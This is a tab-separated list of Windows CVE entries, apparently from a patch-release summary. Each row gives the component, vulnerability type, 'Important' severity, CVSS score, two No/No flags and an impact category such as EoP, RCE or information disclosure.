CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
